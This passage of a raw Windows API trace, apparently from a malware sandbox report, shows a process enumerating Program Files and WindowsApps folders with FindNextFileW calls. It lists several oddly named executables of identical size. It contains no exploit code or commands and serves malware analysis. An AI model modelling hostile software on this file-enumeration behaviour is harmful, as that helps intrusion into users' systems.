returned 1 [0082.502] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3ca207c9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca207c9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0082.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.503] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1 [0082.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.503] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c8c92bc, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c8c92bc, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0082.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.504] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x543b8090, ftCreationTime.dwHighDateTime=0x1d55420, ftLastAccessTime.dwLowDateTime=0x6edace50, ftLastAccessTime.dwHighDateTime=0x1d576d6, ftLastWriteTime.dwLowDateTime=0x6edace50, ftLastWriteTime.dwHighDateTime=0x1d576d6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0082.504] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.504] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3c9fa545, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9fa545, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0082.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.508] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0082.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.508] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0082.510] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.510] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0082.512] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.512] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43291780, ftCreationTime.dwHighDateTime=0x1d5b9c5, ftLastAccessTime.dwLowDateTime=0x4d2f8510, ftLastAccessTime.dwHighDateTime=0x1d552f6, ftLastWriteTime.dwLowDateTime=0x4d2f8510, ftLastWriteTime.dwHighDateTime=0x1d552f6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="risks_lows_nickel.exe", cAlternateFileName="RISKS_~1.EXE")) returned 1 [0082.513] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.513] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0082.513] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.513] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0082.513] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.513] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3c9157b4, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9157b4, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0082.514] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.514] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3ca6cdb8, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca6cdb8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0082.514] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.514] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0082.514] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.514] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eba0a30, ftCreationTime.dwHighDateTime=0x1d5d1a4, ftLastAccessTime.dwLowDateTime=0x2665cbb0, ftLastAccessTime.dwHighDateTime=0x1d5a8ff, ftLastWriteTime.dwLowDateTime=0x2665cbb0, ftLastWriteTime.dwHighDateTime=0x1d5a8ff, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="SCRIPT~1.EXE")) returned 1 [0083.156] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0083.157] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0083.160] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0083.160] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0083.161] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.163] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3ca46a80, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca46a80, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0083.164] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.164] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0083.164] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0083.164] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3f7bc9c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3f7bc9c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0083.164] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0083.164] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3f7bc9c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3f7bc9c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0083.165] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.165] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0083.165] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.165] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f5ce20, ftCreationTime.dwHighDateTime=0x1d56506, ftLastAccessTime.dwLowDateTime=0xc9b96310, ftLastAccessTime.dwHighDateTime=0x1d5c84b, ftLastWriteTime.dwLowDateTime=0xc9b96310, ftLastWriteTime.dwHighDateTime=0x1d5c84b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0083.165] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0083.166] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0083.166] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.166] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0083.167] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.167] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0083.167] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0083.167] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0083.167] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0083.167] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.167] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2294c1cd, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2294c1cd, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x293a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1 [0083.170] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0083.170] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ae1c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x22a0ae1c, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="list.scale-100.png", cAlternateFileName="LISTSC~1.PNG")) returned 1 [0083.172] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0083.172] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a572ca, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x22a572ca, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.scale-100.png", cAlternateFileName="SEARCH~1.PNG")) returned 1 [0083.175] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.175] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xeb58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="clrcompression.dll", cAlternateFileName="CLRCOM~1.DLL")) returned 1 [0083.635] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.655] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3002ee68, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967c915, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0083.655] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.655] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x136470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1 [0083.656] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.656] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa967d4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deleted", cAlternateFileName="")) returned 1 [0083.656] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.656] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3c9c41d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_N")) returned 1 [0083.658] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.658] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8c8b9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96db2b17, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96db2b17, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0083.658] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.658] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0083.658] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0083.659] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.659] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_X")) returned 1 [0083.659] HeapFree (in: hHeap=0x490000, dwFlags=0x0, 